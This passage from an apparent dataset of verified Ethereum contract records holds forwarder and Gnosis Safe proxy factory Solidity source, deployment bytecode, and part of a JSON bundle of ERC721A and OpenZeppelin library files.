}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,389 |
85f01ccf47915c941bd90ed12735d24753d76f0bcd37557c499f65523a546f7d
|
4c638bbd1c5f1bc38db8e74b596f46e2fb88d6dfff4c53e6a0f5d17833e91d47
|
6cccce9e6808bca72c03fc77099494b70eecef1e
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
e44e47739beffde3c274ae5e9b2b1b77bf8b4e84
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,389 |
85f01ccf47915c941bd90ed12735d24753d76f0bcd37557c499f65523a546f7d
|
c510f8852988169afa70f27ead8502fa4dea69fcf8e01639ff794f2851cc2b2a
|
eb326bbcdb082576eab0c306d63186c5d6e5d4c1
|
000000008924d42d98026c656545c3c1fb3ad31c
|
46d9994ce2ed7ec9abf6b01955ce872d591eae2c
|
3d602d80600a3d3981f3363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address 